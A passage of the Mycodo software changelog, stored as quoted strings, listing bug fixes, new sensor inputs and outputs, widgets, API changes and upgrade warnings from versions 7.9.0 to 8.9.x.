([#947](https://github.com/kizniche/mycodo/issues/947))\n - Fix inability to save MQTT Input ([#946](https://github.com/kizniche/mycodo/issues/946))\n - Fix Camera Widget ([#948](https://github.com/kizniche/mycodo/issues/948))", "\n## 8.9.0 (2021-03-08)", "This release contains bug fixes and several new types of Inputs and Outputs. These include stepper motors, digital-to-analog converters, a multi-channel PWM output, as well as an input to acquire current and future weather conditions.", "This release also deprecates Math controllers. Current Math controllers will continue to function, but new Math controllers cannot be created. Instead, all Math controller functionality has been ported to Functions (Setup -> Function page), in order to reduce complexity and improve customizability. Much like Inputs and Outputs, Functions are single-file modules that can be created by users and imported. Take a look at the Mycodo/mycodo/functions directory for the built-in Function modules.", "The new weather input acquires current and future weather conditions from openweathermap.org with either a city (200,000 to choose from) or latitude/longitude for a location and a time frame from the present up to 7 days in the future, with a resolution of days or hours. An API key to use the service is free and the measurements returned include temperature (including minimum and maximum if forecasting days in the future), humidity, dew point, pressure, wind speed, and wind direction. This can be useful for incorporating current or future weather conditions into your conditional controllers or other functions or calculations. For instance, you may prevent Mycodo from watering your outdoor plants if the forecasted temperature in the next 12 to 24 hours is below freezing. You may also want to be alerted by email if the forecasted weather conditions are extreme. Not everyone wants to set up a weather station, but might still want to have local outdoor measurements, so this input was made to bridge that gap.", "### Bugfixes", " - Fix broken Output API get/post calls\n - Fix selecting output channels in custom functions\n - Fix Autotune PID Function ([#876](https://github.com/kizniche/mycodo/issues/876))\n - Fix issue with LockFile not locking\n - Fix Output State and Output Duration On Conditional Conditions ([#879](https://github.com/kizniche/mycodo/issues/879))\n - Fix not showing camera stream buttons for cameras libraries that don't have stream support ([#899](https://github.com/kizniche/mycodo/issues/899))\n - Fix Clock Pin option showing twice for UART Inputs\n - Fix MCP3008 Input error ([#902](https://github.com/kizniche/mycodo/issues/902))\n - Fix Input Measurement option Invert Scale not displaying properly ([#902](https://github.com/kizniche/mycodo/issues/902))\n - Fix MQTT output being able to set 0 to disable option\n - Fix compounding of Function Action return messages in Conditionals\n - Fix ADS1015 and ADS1115 inputs only measuring channel 0 ([#911](https://github.com/kizniche/mycodo/issues/911))\n - Fix install of pyusb dependency of Adafruit_Extended_Bus ([#863](https://github.com/kizniche/mycodo/issues/863))\n - Fix Message and New Line options in Custom Options\n - Fix Conditional sample_rate not being set from Config\n - Fix Saving Angular and Solid Gauge Widget stop values ([#916](https://github.com/kizniche/mycodo/issues/916))\n - Fix uncaught exception if trying to acquire image when opencv can't detect a camera ([#917](https://github.com/kizniche/mycodo/issues/917))\n - Fix displaying input/output pypi.org dependencies with \"==\"\n - Fix pressure measurement in BME680 and BME280 Inputs ([#923](https://github.com/kizniche/mycodo/issues/923))\n - Fix controllers disappearing following reorder ([#925](https://github.com/kizniche/mycodo/issues/925))\n - Fix Inputs that use w1thermsensor ([#926](https://github.com/kizniche/mycodo/issues/926))\n - Fix issue generating documentation for similar Inputs/Outputs/Widgets\n - Fix execution of Input stop_input()\n - Fix Input Pre-Outputs not turning on\n - Fix Output not activating for Camera\n - Fix PWM trigger and Duration Method ([#937](https://github.com/kizniche/mycodo/issues/937))\n - Fix stopping Trigger Controllers ([#940](https://github.com/kizniche/mycodo/issues/940))\n - Fix Tags not appearing in Graph Widgets\n - Fix variable measurement Inputs saving correctly\n - Fix detection of custom_option save type (CSV or JSON) for proper parsing\n - Fix saving of unchecked checkboxes when using forms", "### Features", " - Add Digital-to-Analog Converter output support (and add MCP4728) ([#893](https://github.com/kizniche/mycodo/issues/893))\n - Add Stepper Motor Controller output support (and add DRV8825) ([#857](https://github.com/kizniche/mycodo/issues/857))\n - Add Output: GrovePi multi-channel relay I2C board\n - Add Output: PCA9685 16-channel PWM servo/LED controller\n - Add Input: MAX31865 (CircuitPython) ([#900](https://github.com/kizniche/mycodo/issues/900))\n - Add Input: Generic Hall Effect Flow sensor\n - Add Input: INA219 current sensor\n - Add Input: Grove Pi DHT11/22 sensor\n - Add Input: HC-SR04 Ultrasonic Distance sensor\n - Add Input: SCD30 CO2/Humidity/Temperature sensor\n - Add Input: Current Weather from OpenWeatherMap.org (Free API Key, Latitude/Longitude, 200,000 cities, Humidity/Temperature/Pressure/Dewpoint/Wind Speed/Wind Direction)\n - Add Input: Forecast Hourly/Daily Weather from OpenWeatherMap.org (Free API Key, , Humidity/Temperature/Pressure/Dewpoint)\n - Add Input: Raspberry Pi Sense HAT (humidity/temperature/pressure/compass/magnetism/acceleration/gyroscope)\n - Add Input: Xiaomi Mijia LYWSD03MMC\n - Add Input: Atlas Scientific CO2 sensor\n - Add Input: AHTx0 Temperature/Humidity sensor\n - Add Input: BME680 (Circuitpython)\n - Add measurements to Custom Controllers\n - Add Measurement and Unit: Speed, Meters/Second\n - Add Measurement and Unit: Direction, Bearing\n - Add Conversions: m/s <-> mph <-> knots, hour <-> minutes and seconds\n - Add LCD: Grove RGB LCD\n - Add Function: Bang-bang/hysteretic\n - Add Function Action: Output Value\n - Add Function Action: Set LCD Backlight Color\n - Add configurable link for navbar brand link\n - Add User option to Shell Command Function Action\n - Add Message and New Line options to Custom Options of Outputs\n - Add set_custom_option/get_custom_option to Conditionals ([#901](https://github.com/kizniche/mycodo/issues/901))\n - Add ability to login with username/password using MQTT Input and Outputs\n - Add ability to use Custom Channel Options with Inputs (first used in MQTT Input)\n - Add Custom Functions/Inputs/Outputs/Widgets to Settings Export/Import\n - Add user_scripts directory for user code that's preserved during upgrade/export/import ([#930](https://github.com/kizniche/mycodo/issues/930))\n - Add pin mode option (float, pull-up, pull-down) for Edge and State Inputs\n - Add Method: Cascaded Method, allows combining (multiply) any number of existing methods\n - Add Functions and to API\n - Add missing Input Channels to Input API calls", "### Miscellaneous", " - Remove lirc\n - Change widget title styles\n - Fix GCC warnings ([#906](https://github.com/kizniche/mycodo/issues/906))\n - Remove default user \"pi\" with \"mycodo\" (for compatibility with non-Raspberry Pi operating systems)\n - Update pyusb to 1.1.1\n - Refactor Edge detection Input\n - Refactor method implementation from single large method into multiple small classes\n - Changed duration method start- and end-time handling\n - Port Math controllers to Functions: Equation (Single/Multi), Difference, Statistics (Single/Multi), Average (Single/Multi), Sum (Single/Multi), Wet-Bulb Humidity, Redundancy, Vapor Pressure Deficit, Verification\n - Deprecate Math controllers\n - Remove Math controllers from and add Functions to Live page", "\n## 8.8.8 (2020-10-30)", "### Bugfixes", " - Fix PiOLED (CircuitPython) ([#842](https://github.com/kizniche/mycodo/issues/842))", "### Miscellaneous", " - Update Polish translations", "\n## 8.8.7 (2020-10-27)", "### Bugfixes", " - Fix missing default values when adding new controllers ([#868](https://github.com/kizniche/mycodo/issues/868))\n - Fix catching loss of internet connection during upgrade ([#869](https://github.com/kizniche/mycodo/issues/869))\n - Fix Function Actions Output PWM and Output PWM Ramp not working ([#865](https://github.com/kizniche/mycodo/issues/865))\n - Fix dependencies not being installed for LCDs\n - Fix saving when missing/malformed custom_options JSON present ([#866](https://github.com/kizniche/mycodo/issues/866))", "### Features", " - Add LCDs: 128x32 and 128x64 PiOLED using the Adafruit CircuitPython library ([#842](https://github.com/kizniche/mycodo/issues/842))", "\n## 8.8.6 (2020-10-07)", "### Bugfixes", " - Fix order of Atlas Scientific pH sensor calibration points ([#861](https://github.com/kizniche/mycodo/issues/861))", "### Features", " - Add Polish translation", "\n## 8.8.5 (2020-10-01)", "### Bugfixes", " - Fix Output Widgets not able to control outputs\n - Fix ADS1256 ([#854](https://github.com/kizniche/mycodo/issues/854))\n - Fix PID controllers not obeying minimum off duration ([#859](https://github.com/kizniche/mycodo/issues/859))", "\n## 8.8.4 (2020-09-28)", "### Bugfixes", " - Increase nginx proxy buffer to accommodate large headers ([#849](https://github.com/kizniche/mycodo/issues/849))\n - Fix URL generation for cameras ([#850](https://github.com/kizniche/mycodo/issues/850))\n - Fix display of Output data on Asynchronous Graphs ([#847](https://github.com/kizniche/mycodo/issues/847))", "\n## 8.8.3 (2020-09-15)", "### Bugfixes", " - Fix inability to create Angular Gauge Widget with more than 4 stops ([#844](https://github.com/kizniche/mycodo/issues/844))\n - Fix issue with Python Code Input ([#846](https://github.com/kizniche/mycodo/issues/846))\n - Fix issue with install ([#845](https://github.com/kizniche/mycodo/issues/845))", "\n## 8.8.2 (2020-09-13)", "### Bugfixes", " - Fix PID Controller not operating ([#843](https://github.com/kizniche/mycodo/issues/843))\n - Fix inability to switch any output except channel 0 from web interface ([#840](https://github.com/kizniche/mycodo/issues/840))\n - Minor fixes for PCF8574 Output\n - Fix Atlas Pump recording two pump durations", "### Features", " - Add ability to select method in Input/Output/Function controller custom options", "\n## 8.8.1 (2020-09-09)", "### Bugfixes", " - Fix partially broken upgrade to new output system\n - Fix GPIO output startup states", "\n## 8.8.0 (2020-09-08)", "This release changes the Output framework to add the ability for a single Output to control multiple channels. This was originally based on the PCF8574 8-bit I/O Expander, which allows 8 additional IO pins to be controlled via the I2C bus, but applies to any other output device with more than one channel. As a result of this change, you will need to update any Custom Outputs to follow the new format (see /mycodo/outputs directory).", "### Bugfixes", " - Fix inability to save Python Code Input settings ([#827](https://github.com/kizniche/mycodo/issues/827))\n - Fix Cameras not appearing in Camera Widget ([#828](https://github.com/kizniche/mycodo/issues/828))\n - Fix inability to save Pause PID Function Action ([#836](https://github.com/kizniche/mycodo/issues/836))\n - Fix error diaplying Measurement or Gauge Widgets with Math controllers using non-default units ([#831](https://github.com/kizniche/mycodo/issues/831))\n - Fix default values not displaying for Input/Output Custom Actions\n - Fix some apt packages being detected as installed when they are not installed\n \n### Features", " - Convert Input module custom_options from CSV to JSON\n - Add Anyleaf ORP and pH Inputs ([#825](https://github.com/kizniche/Mycodo/pull/825))", "### Miscellaneous", " - Remove unused Output selection in Methods", "\n## 8.7.2 (2020-08-23)", "### Bugfixes", " - Fix issue displaying Measurement Widgets when a Math measurement is selected ([#817](https://github.com/kizniche/mycodo/issues/817))\n - Fix inability to generate Widget HTML ([#817](https://github.com/kizniche/mycodo/issues/817), [#822](https://github.com/kizniche/mycodo/issues/822))", "### Features", " - Add ability to duplicate a dashboard and its widgets ([#812](https://github.com/kizniche/mycodo/issues/812))", "\n## 8.7.1 (2020-08-10)", "### Bugfixes", " - Remove copy of widget HTML files during upgrade", "\n## 8.7.0 (2020-08-10)", "This update includes the final refactoring of the output system to accommodate output modules that can operate multiple different types of output types. For instance, a peristaltic pump can be instructed to turn on for a duration or instructed to pump a volume. As a result of the output framework being modified to accommodate this, the duty_cycle parameter was removed from ```output_on_off()``` and ```output_on()``` functions of the ```DaemonControl``` class of mycodo_client.py. As a result, if you were previously using either of these function, you will need to add the parameter ```output_type='pwm'``` and change the ```duty_cycle``` parameter to ```amount```. For example, ```output_on(output_id, duty_cycle=50)``` would need to be changed to ```output_on(output_id, output_type='pwm', amount=50)```, and ```output_on_off(output_id, 'on', duty_cycle=50)``` to ```output_on_off(output_id, 'on', output_type='pwm', amount=50)```.", "This update also adds the ability to import custom Widget modules. Much like custom Inputs, Outputs, and Functions, you can now create and import your own single-file Widget module that allow new widgets to be added to a dashboard.", "### Bugfixes", " - Fix issue installing Python modules ([#804](https://github.com/kizniche/mycodo/issues/804))\n - Fix inability to save PID options when On/Off output selected ([#805](https://github.com/kizniche/mycodo/issues/805))\n - Fix graph shift issues\n - Fix PID Input/Math Setpoint Tracking unit and integer issue ([#811](https://github.com/kizniche/mycodo/issues/811))\n - Fix PID Controller debug logging ([#811](https://github.com/kizniche/mycodo/issues/811))\n - Fix bug in password reset function that would allow an attacker to discover if a user name doesn't exist", "### Features", " - Add Output: On/Off MQTT Publish\n - Add Output information links\n - Add ability to download Mycodo Backups ([#803](https://github.com/kizniche/mycodo/issues/803))\n - Add ability to import custom Widget modules\n - Add Widget Controller for background widget processes\n - Add Widget: Python Code ([#803](https://github.com/kizniche/mycodo/issues/803))\n - Add an option to the password reset function to save the reset code to a file", "### Miscellaneous", " - Deprecate duty_cycle parameter of output functions\n - Remove graph Shift X-Axis option\n - Move Autotune from PID Controller to Separate PID Autotune Controller ([#811](https://github.com/kizniche/mycodo/issues/811))", "\n## 8.6.4 (2020-07-25)", "### Bugfixes", " - Fix issue displaying lines 5-8 on SD1306 LCDs ([#800](https://github.com/kizniche/mycodo/issues/800))\n - Fix Atlas Scientific Pump duration unit issues ([#801](https://github.com/kizniche/mycodo/issues/801))", "### Features", " - Add Inputs: Ads1115 (Circuit Python library), ADS1015 (Circuit Python library)\n - Add Input: BMP280 (bmp280-python library, includes ability to set forced mode) ([#608](https://github.com/kizniche/mycodo/issues/608))", "### Miscellaneous", " - Deprecate Input using the Adafruit_ADS1x15 library", "\n## 8.6.3 (2020-07-25)", "### Bugfixes", " - Fix ADS1x15 Input", "\n## 8.6.2 (2020-07-25)", "### Bugfixes", " - Fix DS18S20 Input module ([#796](https://github.com/kizniche/mycodo/issues/796))\n - Fix Peristaltic Pump Outputs unable to turn on for durations ([#799](https://github.com/kizniche/mycodo/issues/799))", "### Features", " - Add a ([Building a Custom Input Module wiki page](https://github.com/kizniche/Mycodo/wiki/Building-a-Custom-Input)", "### Miscellaneous", " - Improve custom output framework\n - Consolidate locking code to utils/lockfile.py", "\n## 8.6.1 (2020-07-22)", "### Bugfixes", " - Fix Wireless 315/433 MHz Output module", "\n## 8.6.0 (2020-07-22)", "This update adds a Generic Peristaltic Pump Output to compliment the Atlas Scientific Peristaltic Pump Output. Generic peristaltic pumps are less expensive but often have acceptable dispensing accuracy. Once your pump's flow rate has been measured and this rate set in the Output options, your pump can be used to dispense specific volumes of liquid just like the Atlas Scientific pumps. This release also enables pumps to dispense for durations of time in addition to specific volumes (once calibrated). So, you can now operate a PID controller or other functions/controllers that instruct a pump to dispense for a duration in seconds or a volume in milliliters.", "In this update, the Atlas Scientific Peristaltic Pump Output duration units have been changed form minutes to seconds, to align with other Outputs that use the second SI unit.", "WARNING: As a result of how this new output operates, a potentially breaking change has been introduced. If you use any custom Output modules, you will need to add the parameter output_type=None to the output_switch() function of all of your custom Output module files. If you do not, the Mycodo daemon/backend will fail to start after upgrading to or beyond this version. It is advised to modify your custom Output modules prior to upgrading to ensure the daemon successfully starts after the upgrade. If you have not created or imported any custom Output modules, there is nothing that needs to be done.", "### Bugfixes", " - Fix measurement being stored in database after sensor error ([#795](https://github.com/kizniche/mycodo/issues/795))\n - Fix UART communication with Atlas Scientific devices ([#785](https://github.com/kizniche/mycodo/issues/785))\n - Fix FTDI communication with Atlas Scientific devices\n - Fix PID Dashboard Widget error in log when PID inactive\n - Fix install on Desktop version of Raspberry Pi OS by removing python3-cffi-backend\n - Fix inability to change I2C address of ADS1x15 Input ([#788](https://github.com/kizniche/mycodo/issues/788))\n - Fix issues with calibrating Atlas Scientific devices ([#789](https://github.com/kizniche/mycodo/issues/789))\n - Fix missing default input custom option values if not set in the database\n - Add missing TSL2561 I2C addresses\n - Fix daemon hang on use of incorrect Atlas Scientific UART device (add writeTimeout to every serial.Serial())\n - Fix uninstall of pigpiod\n - Fix missing pigpio dependency for GPIO PWM Outputs\n - Prevent LCD controllers from activating if Max Age or Decimal Places are unset ([#795](https://github.com/kizniche/mycodo/issues/795))", "### Features", " - Add Inputs: ADXL34x, ADT7410 ([#791](https://github.com/kizniche/mycodo/issues/791))\n - Add Output: Generic Peristaltic Pump\n - Add ability to turn peristaltic pumps on for durations (in addition to volumes)\n - Add Function Action: Output (Volume)\n - Improve general compatibility with Atlas Scientific devices\n - Add ability to utilize volume Outputs (pumps) with PID Controllers\n - Add pypi.org links to Input libraries in Input description information\n - Add SPI interface as an option for SD1306 LEDs ([#793](https://github.com/kizniche/mycodo/issues/793))", "### Miscellaneous", " - Change Atlas Scientific Peristaltic Pump Output duration unit from minute to second\n - Move clear total volume function for Atlas Scientific Flow Meter to Input Module\n - Add instruction for viewing the frontend web log on the web 502 error page ([#786](https://github.com/kizniche/mycodo/issues/786))", "\n## 8.5.8 (2020-07-07)", "### Bugfixes", " - Fix inability to install pigpio ([#783](https://github.com/kizniche/mycodo/issues/783))", "\n## 8.5.7 (2020-07-07)", "### Bugfixes", " - Fix inability to install internal dependencies (pigpio, bcm2835, etc.) ([#783](https://github.com/kizniche/mycodo/issues/783))", "\n## 8.5.6 (2020-06-30)", "### Bugfixes", "- Fix API database schema issue", "\n## 8.5.5 (2020-06-30)", "### Bugfixes", " - Prevent user with insufficient permissions from rearranging dashboard widgets\n - Fix installing internal dependencies\n - Fix restore of influxdb measurement data from import/Export page\n - Fix Gauge Widget Measurement options from being selected after saving", "### Features", " - Create scripts to automatically generate Input section of manual", "### Miscellaneous", " - Add URLs to Input information\n - Switch from deprecated SSLify to Talisman\n - Update Python dependencies", "\n## 8.5.4 (2020-06-06)", "### Bugfixes", " - Fix Atlas Scientific pump on duration calculation", "\n## 8.5.3 (2020-06-06)", "### Bugfixes", " - Fix upgrade not preserving custom outputs\n - Fix missing output device measurements in database ([#779](https://github.com/kizniche/mycodo/issues/779))", "\n## 8.5.2 (2020-06-01)", "### Bugfixes", " - Fix Atlas Scientific Pump Output timestamp parsing", "\n## 8.5.1 (2020-05-30)", "### Bugfixes", " - Fix translations\n - Fix dependency check during upgrade\n - Fix Atlas Scientific Pump Output", "\n## 8.5.0 (2020-05-30)", "With this release comes the ability to write and import custom Outputs. If you want to utilize an output that Mycodo doesn't currently support, you can now create your own Output module and import it to be used within the system. See [Custom Outputs](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.rst#custom-outputs) in the manual for more information.", "WARNING: There are changes with this version that may cause issues with your currently-configured outputs. Therefore, after upgrading, test if your outputs work and update their configuration if needed.", "### Bugfixes", " - Fix PID Widget preventing graph custom colors from being editable\n - Fix graph Widget custom color issues ([#760](https://github.com/kizniche/mycodo/issues/760))\n - Fix PWM Trigger Functions reacting to 0 % duty cycle being set ([#761](https://github.com/kizniche/mycodo/issues/761))\n - Fix KeyError if missing options when saving Input\n - Fix ZH03B Input: add repeat measurement option and discard erroneous measurements\n - Fix update check IndexError if there's no internet connection\n - Fix parsing API api_key from requests\n - Fix the inability of Math Controllers to use converted measurements\n - Fix Redundancy Math controller ([#768](https://github.com/kizniche/mycodo/issues/768))\n - Fix display of Custom Controller options\n - Fix hostname display on login page\n - Fix missing blank line check for LCDs with 8 lines ([#771](https://github.com/kizniche/mycodo/issues/771))\n - Fix unset user groups when executing shell commands\n - Fix guest users being able to create dashboards\n - Fix queries with updated influxdb Python library", "### Features", " - Add ability to write and import your own Custom Output Modules\n - Add Input: VL53L0X (Laser-Range Measurement) ([#769](https://github.com/kizniche/mycodo/issues/769))\n - Add Input: AS7262 Spectral Sensor (measures 450, 500, 550, 570, 600, and 650 nm wavelengths)\n - Add Input: Atlas Scientific EZO Pressure Sensor\n - Add ability to create custom Input actions\n - Add MH-Z19/MH-Z19B Input actions: zero and span point calibrations\n - Add unit conversions: PSI to kPa, PSI to cm H2O, kPa to PSI\n - Add literature links to Input options: Manufacturer, Datasheet, Product\n - Add 'tail dmesg' to System Information page\n - Add Function Actions: System Restart and System Shutdown ([#763](https://github.com/kizniche/mycodo/issues/763))\n - Add Conditional options: Log Level Debug and Message Includes Code\n - Add Force Command option for Command/Python/Wireless Outputs ([#728](https://github.com/kizniche/mycodo/issues/728))\n - Add ability to select which user executes Linux Output commands ([#719](https://github.com/kizniche/mycodo/issues/719))\n - Add Cameras: URL (urllib), URL (requests) \n - Add ability to encode videos from time-lapse image sets\n - Add send_email() to Daemon Control object", "### Miscellaneous", " - Upon controller activation, generate Input and Conditional code files if they don't exist\n - Update Werkzeug to 1.0.1 ([#742](https://github.com/kizniche/mycodo/issues/742)), Flask-RESTX to 0.2.0, alembic to 1.4.2, pyro5 to 5.8, SQLAlchemy to 1.3.15, distro to 1.5.0,\n - Refactor Python Output code \n - Update all translations (all complete)\n - Rename MH-Z19 Input to MH-Z19B (and add MH-Z19 Input)\n - Change Email Notification options to allow unauthenticated sending\n - Add conversions: m <-> cm <-> mm\n - Make PID Controller a class\n - Restyle Output page ([#732](https://github.com/kizniche/mycodo/issues/732))\n - Include error response in PWM/On-Off Command Output debug logging line\n - Update InfluxDB to 1.8.0", "\n## 8.4.0 (2020-03-23)", "### Bugfixes", " - Fix invalid links to Help pages\n - Prevent unstoppable Conditional Controller by adding self.running bool variable\n - Fix calculation error causing inaccuracy with ADS1x15 analog-to-digital converter Input\n - Remove PWM and Pump Outputs from Energy Usage calculations\n - Fix links to camera widget error images\n - Fix reference to input library to properly display 1-Wire device IDs ([#752](https://github.com/kizniche/mycodo/issues/752))\n - If a camera output is already on when capturing an image, dont' turn it off after capture\n - Discard first measurement of Atlas Scientific Inputs to prevent some erroneous measurements\n - Fix display of setpoint on PID widget if a band is in use ([#744](https://github.com/kizniche/mycodo/issues/744))\n - Fix Amp calculation ([#758](https://github.com/kizniche/mycodo/issues/758))", "### Features", " - Add temperature compensation option for the Atlas Scientific Electrical Conductivity and Dissolved Oxygen Inputs\n - Add Inputs: Atlas Scientific Flow Sensor, Atlas Scientific RGB Color Sensor\n - Add Function Action: Clear Total Volume of Flow Meter, Force Input Measurements\n - Add option to repeat measurements and store average for ADS1x15 analog-to-digital converter Input\n - Add PID option Always Min for PWM outputs to always use at least the min duty cycle ([#757](https://github.com/kizniche/mycodo/issues/757))\n - Add email password reset", "### Miscellaneous", " - Add prefix to device IDs when using w1thermsensor ([#752](https://github.com/kizniche/mycodo/issues/752))", "\n## 8.3.0 (2020-02-21)", "### Bugfixes", " - Fix determining frontend/backend virtualenv status\n - Fix error detecting GPIO state during energy usage report generation ([#745](https://github.com/kizniche/mycodo/issues/745))\n - Fix Atlas Scientific pH Input temperature calibration measurement\n - Fix Atlas Scientific EZO-PMP flow mode not taking effect immediately upon saving\n - Change deprecated w1thermsensor set_precision() to set_resolution()\n - Fix setting DS sensor resolution ([#747](https://github.com/kizniche/mycodo/issues/747))\n - Split DS18B20 Input into two files (one using w1thermsensor and another using ow-shell) ([#746](https://github.com/kizniche/mycodo/issues/746))\n - Prevent users without \"view settings\" permission from viewing email addresses\n - Fix TSL2561 input ([#750](https://github.com/kizniche/mycodo/issues/750))", "### Features", " - Add Temperature Offset option for BME680 Input ([#735](https://github.com/kizniche/mycodo/issues/735))\n - Add ability to change number of stops for Gauge Widgets ([#749](https://github.com/kizniche/mycodo/issues/749))", "### Miscellaneous", " - Fix logging level of calibration functions\n - Populate setpoint in field of PID dashboard widget ([#748](https://github.com/kizniche/mycodo/issues/748))", "\n## 8.2.5 (2020-02-09)", "### Bugfixes", " - Fix daemon not being able to read measurements ([#743](https://github.com/kizniche/mycodo/issues/743))", "\n## 8.2.4 (2020-02-08)", "### Bugfixes", " - Fix logs appearing blank after logrotate runs ([#734](https://github.com/kizniche/mycodo/issues/734))\n - Update Flask-Babel to 1.0.0 to fix broken werkzeug ([#742](https://github.com/kizniche/mycodo/issues/742))\n - Increase install wait times to prevent timeouts ([#742](https://github.com/kizniche/mycodo/issues/742))", "### Features", " - Add BME680 temperature/humidity/pressure/VOC sensor ([#735](https://github.com/kizniche/mycodo/issues/735))\n - Add measurement: resistance\n - Add unit: Ohm\n - Merge from [Flask-RESTPlus](https://github.com/noirbizarre/flask-restplus/issues/770) to [Flask-RESTX](https://github.com/python-restx/flask-restx) ([#742](https://github.com/kizniche/mycodo/issues/742))", "### Miscellaneous", " - Improve sanity-checking of Input custom_options\n - Improve sanity-checking of API endpoints ([#741](https://github.com/kizniche/mycodo/issues/741))\n - Update pip requirements", "\n## 8.2.3 (2020-01-27)", "### Bugfixes", " - Fix error during upgrade check if there is no internet connection\n - Fix MQTT input, prevent keepalive from being <= 0 ([#733](https://github.com/kizniche/mycodo/issues/733))\n - Fix issue restarting frontend using diagnostic database delete feature\n - Fix ability to import Inputs with measurements/units that don't exist in database ([#735](https://github.com/kizniche/mycodo/issues/735))\n - Fix ability to modify measurement/unit names that Inputs rely on\n - Fix inability to modify custom measurements\n - Fix error when deleting dashboards from the Config->Diagnostics menu ([#737](https://github.com/kizniche/mycodo/issues/737))\n - Fix dashboard gauges causing the dashboard to crash ([#736](https://github.com/kizniche/mycodo/issues/736))", "### Miscellaneous", " - Refactor upgrade check code into class to reduce the number of hits to github.com\n - Rearrange dashboard dropdown menu\n - Allow creation of measurement/unit IDs with upper-case letters ([#735](https://github.com/kizniche/mycodo/issues/735))", "## 8.2.2 (2020-01-06)", "### Bugfixes", " - Fix table colors ([#724](https://github.com/kizniche/mycodo/issues/724))\n - Fix error when dashboard is set to default landing page ([#727](https://github.com/kizniche/mycodo/issues/727))", "### Features", " - Add options to show/hide various widget info ([#717](https://github.com/kizniche/mycodo/issues/717))\n - Add Input: MLX90614 ([#723](https://github.com/kizniche/mycodo/pull/723))", "### Miscellaneous", " - Update Bootstrap to 4.4.1\n - Update Bootstrap themes", "\n## 8.2.1 (2019.12.08)", "This update brings the ability to create multiple dashboards. The dashboard grid spacing has also changed, so you will need to resize your widgets.", "This update also brings the ability to run Mycodo/Influxdb in Docker containers, enabling Mycodo to run outside the Raspberry Pi and Raspbian environment. For instance, I currently have Mycodo running on my 64-bit PC in Ubuntu 18.04. This is an experimental feature and is not yet recommended to be used in a production environment. See the [Docker README](https://github.com/kizniche/Mycodo/blob/master/docker/README.md) for more information.", "### Features", " - Add ability to run Mycodo in Docker containers ([#637](https://github.com/kizniche/mycodo/issues/637))\n - Add ability to create multiple dashboards ([#717](https://github.com/kizniche/mycodo/issues/717))\n - Add Dashboard Widget: Spacer ([#717](https://github.com/kizniche/mycodo/issues/717))\n - Add ability to hide Widget drag handle, set Widget name font size, and hide Graph Widget buttons ([#717](https://github.com/kizniche/mycodo/issues/717))\n - Add ability to set Dashboard grid cell height", "### Miscellaneous", " - Change grid width from 12 to 20 columns\n - Update InfluxDB from 1.7.8 to 1.7.9", "\n## 8.1.1 (2019.11.26)", "### Bugfixes", " - Fix outputs not turning on", "\n## 8.1.0 (2019.11.26)", "This update brings a new Dashboard organization method, allowing drag-and drop placement and resizing of widgets using gridstack.js. This new system is not comparable to the old; and after upgrading, all widgets will lose their size and position and will need to be repositioned on your dashboard.", "### Bugfixes", " - Fix Atlas Scientific UART interfaces\n - Fix display of units in conversion list on Measurement Settings page\n - Fix unit conversions for Math controllers ([#716](https://github.com/kizniche/mycodo/issues/716))\n - Fix Wet-Bulb Humidity calculation in Math controller ([#716](https://github.com/kizniche/mycodo/issues/716))\n - Fix disabled measurements not appearing for math controllers ([#716](https://github.com/kizniche/mycodo/issues/716))\n - Fix disabled measurements from Math controllers still being recorded in influxdb\n - Fix inability to select PID Controller with PID Control Widget ([#718](https://github.com/kizniche/mycodo/issues/718))\n - Fix displaying image in Camera Widgets\n - Fix display of measurement unit on Gauge Widgets", "### Features", " - Implement new method for arranging and sizing Dashboard Widgets ([#717](https://github.com/kizniche/mycodo/issues/717))\n - Add API endpoints: /measurements/historical and /measurements/historical_function\n - Add ability to set timestamp with /measurements/create API endpoint\n - Display the entire log for the ongoing upgrade rather than only the last 40 lines\n - Add Calibration: Atlas Scientific Electrical Conductivity Sensor ([#710](https://github.com/kizniche/mycodo/issues/710))\n - Add Input: Mycodo Version (mainly for testing)\n - Allow timestamp to be specified for Python 3 Code Input measurement creation ([#716](https://github.com/kizniche/mycodo/issues/716))", "### Miscellaneous", " - Update Bootstrap to 4.3.1\n - Update FontAwesome to 5.11.2", "\n## 8.0.3 (2019.11.15)", "### Bugfixes", " - Fix timeout errors during settings/influxdb database import\n - Fix python3 version check during install ([#714](https://github.com/kizniche/mycodo/issues/714))\n - Fix upgrade checking\n ", "## 8.0.2 (2019.11.13)", "### Bugfixes", " - Fix doubling the amount used to calculate Amp draw during an output being turned on", "\n## 8.0.1 (2019.11.11)", "### Bugfixes", " - Add Python version check to Mycodo installer ([#712](https://github.com/kizniche/mycodo/issues/712))\n - Daemon now checks for any newer version during upgrade check", "### Features", " - Allow any database version <= the currently-installed Mycodo version to be imported", "\n## 8.0.0 (2019.11.09)", "Warning: This version will not work with Python 3.5 (Raspbian Stretch). Only upgrade if you have Python 3.7 installed (Raspbian Buster).", "This version introduces an improved upgrade system and a REST API (requiring Python >= 3.6) for communicating with Mycodo ([API Info](https://github.com/kizniche/Mycodo/blob/master/mycodo-api.rst) and [API Manual](https://kizniche.github.io/Mycodo/mycodo-api.html)).", "### Features", " - Add REST API ([#705](https://github.com/kizniche/mycodo/issues/705))", "\n## 7.10.0 (2019.11.09)", "### Bugfixes", " - Fix Output control toaster always displaying error\n - Fix translations not working ([#708](https://github.com/kizniche/mycodo/issues/708))\n - Fix display of units on LCDs\n - Fix inability of Graph Range Selector option to stay checked", "### Features", " - Add button to copy device UUID to clipboard\n - Add ability to set IP, port, and timeout for upgrade internet check\n - Add new Camera library: opencv\n - Add ability for variables to persist in Conditional statements\n - Add ability to import any database <= the current Mycodo version (database upgrade will be performed)\n - Add ability to install all unmet dependencies when importing a database\n - Improve upgrade system", "\n## 7.9.1 (2019.10.26)", "### Bugfixes", " - Fix issue querying data for Asynchronous graphs", "### Features", " - Add ability to select duty cycle step size for PWM Ramp Function Action ([#704](https://github.com/kizniche/mycodo/issues/704))", "\n## 7.9.0 (2019.10.24)", "This update improves the backup/restore mechanism for the Mycodo InfluxDB time-series database. InfluxDB backups made prior to v7.8.5 will need to be restored manually. All new backups made will be in the Enterprise-compatible backup format, and only this format will be able to be restored moving forward. See [Backing up and restoring in InfluxDB](https://docs.influxdata.com/influxdb/v1.7/administration/backup_and_restore/) for more information.", "This update also moves the Camera options from the Settings to the Camera page, to be more in-line with the formatting of other pages.", "### Bugfixes", " - Fix Asynchronous Graphs not displaying data\n - Fix Conditional Measurement (Multiple) Condition error\n - Fix inability to set Raspberry Pi (raspi-config) settings from the Configuration menu", "### Features", " - Update InfluxDB database export/import to use new Enterprise-compatible backup format\n - Add general camera options: stream height/width, hide last still, and hide last timelapse 